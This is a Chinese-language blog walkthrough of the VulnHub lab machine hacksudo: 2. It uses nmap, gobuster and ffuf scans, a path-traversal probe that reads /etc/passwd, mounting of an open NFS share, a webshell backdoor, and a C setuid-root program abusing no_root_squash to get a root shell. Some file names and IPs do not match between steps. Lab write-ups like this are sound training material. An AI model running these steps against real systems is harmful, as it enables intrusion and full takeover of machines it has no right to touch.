vulnhub靶场之HACKSUDO: 2 (HACKDUDO)

Ethan医生12小时前靶场6

vulnhub靶场之HACKSUDO: 2 (HACKDUDO)

准备:

攻击机:虚拟机kali、本机win10。

靶机:hacksudo: 2 (HackDudo),下载地址:https://download.vulnhub.com/hacksudo/hackdudo2.rar,下载后直接vbox打开即可。(温馨提醒:只能使用vbox)

知识点:ffuf爆破、nfs服务提权、shell反弹。

一:信息收集

首先使用arp-scan扫描内网最新启用的IP

image.png


可以先访问80端口看看,确认出靶场


image.png

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.11.188


命令分解:

bash
nmap -T4 -sV -p- -A 192.168.11.188



参数作用
-T4设置扫描速度(T0-T5T4是较快的激进模式)
-sV探测服务版本(识别运行的应用,如Apache 2.4、OpenSSH 7.6等)
-p-扫描所有端口(1-65535),默认只扫常见1000端口
-A全面扫描(包括OS检测、脚本扫描、版本探测等)
192.168.11.188目标IP地址

网络流量明显-T4-A会触发大量请求,可能被防火墙/IDS拦截。


image.png


显示开放了1337端口、80端口、2049端口等,开启了ssh服务、http服务、nfs服务。


目录扫描

Gobuster是一个开源的渗透测试工具,用于在Web应用程序中发现隐藏的内容或目录枚举。它可以在提供的字典中寻找URL,并返回来自网站服务器的HTTP状态代码。该工具使用Go语言编写,具有速度快、轻量级以及易于安装和使用的特点。


使用gobuster进行目录扫描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.11.188,发现/web、/audio、/file.php等目录和文件。


image.png



ffuf爆破神器(ffuf是一款Go语言编写的高速Web Fuzzer工具。)

使用格式:

ffuf -u 目标地址/FUZZ1:FUZZ2 -w 字典:FUZZ1 -w 字典:FUZZ2

举例:

ffuf -u http://[IP]/sqli/example1.php?FUZZ1=FUZZ2 -w /usr/share/SecLists-2022.2/Discovery/Web-Content/burp-parameter-names.txt:FUZZ1 -w /usr/share/SecLists-2022.2/Fuzzing/fuzz-Bo0oM.txt:FUZZ2



对扫描出来的目录进行访问收集信息,在访问:http://192.168.11.188/file.php时,页面提示file access(文件访问),猜测这里存在文件包含漏洞。因此使用ffuf进行爆破,命令:ffuf -w /usr/share/SecLists/Discovery/Web-Content/common.txt -u 'http://192.168.1.111/file.php?FUZZ=../../../../../etc/passwd' -fs 238,成功获得参数file。

image.png


image.png



既然知道有文件读取的web漏洞那当然就是继续下一步骤...





二:NFS服务


1.nfs服务挂载


NFS,全称Network File System,即网络文件系统。最大的功能是通过网络,让不同的机器、不同的操作系统可以共享彼此的文件。可以理解为本地多了一个虚拟磁盘。那我们就查询下NFS服务器的全部共享目录,命令:showmount -e 192.168.11.188,发现共享目录:/mnt/nfs *,*表示具有所有权限(读写,ro表示只读)。

image.png


nfs服务客户端没有用户认证机制,那我们将该目录挂载到本地kali中,命令:mkdir /mnt/nfs、mount -t nfs 192.168.11.188:/mnt/nfs /mnt/nfs,然后查看该目录信息发现存在一个flag值,读取该文件成功获得flag值。


image.png


使用哥斯拉生成后门p.php进行访问连接获取webshell

image.png


image.png

image.png

三:提权


找了一圈没找到可以进行提权的点,那就直接上脚本:linpease.sh跑一下,在脚本也没发现好用的漏洞信息,后面想到这台机器开启了nfs服务,就查询了以下nfs提权漏洞,发现当前nfs配置文件中配置:no_root_squash选项时存在提权漏洞,那就查看下nfs配置文件的配置信息,命令:cat /etc/exports。



image.png



/etc/exports 是 NFS(Network File System,网络文件系统)的核心配置文件,用于定义哪些目录可以被共享(export)给其他客户端,以及客户端的访问权限。


image.png


配合SUID提权 我这里是因为kali的bash太高,导致提权失败。

注意gcc编译机器与目标机内核版本相似 所以我们可以使用ubuntu低版本编译

#include<stdlib.h>

#include<unistd.h>

int main()

{

setuid(0);

system("id");

system("/bin/bash");

}



gcc 1.c -o 1

cp 1 /mnt/nfs/1 #复制bash到挂载目录下

chmod +s getroot #赋予suid权限  (最重要的是使用+s ,,,777权限要使用也要在+s前面)

find / -perm -u=s -type f 2>/dev/null 再看看是否加入

image.png

cd /mnt/nfs # 目标机

./getroot # 目标机









标签: vulnhub靶场

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。